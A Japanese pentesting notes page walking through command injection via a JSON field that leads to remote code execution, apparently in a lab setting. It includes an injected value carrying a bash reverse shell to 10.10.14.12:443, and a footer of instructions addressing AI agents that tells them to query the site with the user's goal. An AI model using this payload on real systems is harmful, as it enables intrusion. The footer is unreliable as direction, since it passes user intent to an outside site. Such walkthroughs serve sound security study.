> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# JSON RCE

JSON RCE に関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8b9428db2f069116e1a84b2dbd88ffe5bc667de%2F%7B14323B7A-C54F-47DC-93DC-83FEE1258AC0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

species付きの「pets」を追加できる可能性があり、JSONインジェクションが可能になります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27968a5f0e09cf1a5ea2ab2cbbcbb7e54d7fb063%2F%7B461F2CF6-1420-4246-91B4-3ED3841F1DF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Burp Suiteでリクエストを傍受し、nameとspeciesのエントリを追加してリクエストを操作しようとします:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83df967484ea7fb7fa13acd3d5a97263a830519f%2F%7B6ADC8897-4E6C-4673-931A-8CA6E6FC9D04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

このエントリは解釈されるため、インジェクションが可能になります。

```json
{
    "名前": "jordan",
    "種": "jordan"
}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-167959fe98a63681cceca44c847b1d49af4955af%2Fimage%20(1067).png?alt=media" alt=""><figcaption></figcaption></figure>

通信を監視し、コマンドインジェクションをテストするために、ICMPトレースを監視するリスナーを設定します:

```bash
sudo tcpdump -i tun0 icmp

```

ping応答を受信し、リモートコマンド実行が可能であることを確認します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-737086333259ec0e35b8fb8ae10379f9f89dc2f1%2Fimage%20(1066).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、クエリを送信します `curl` Pythonサーバーに送信し、クエリも受信します。これにより、リモートコード実行の脆弱性が確認されます。

```bash
{
    "名前": "jordan",
    "種": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261""
}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab2d6cf298373ec94266bab7b16a3f1d318cbaa8%2Fimage%20(1068).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
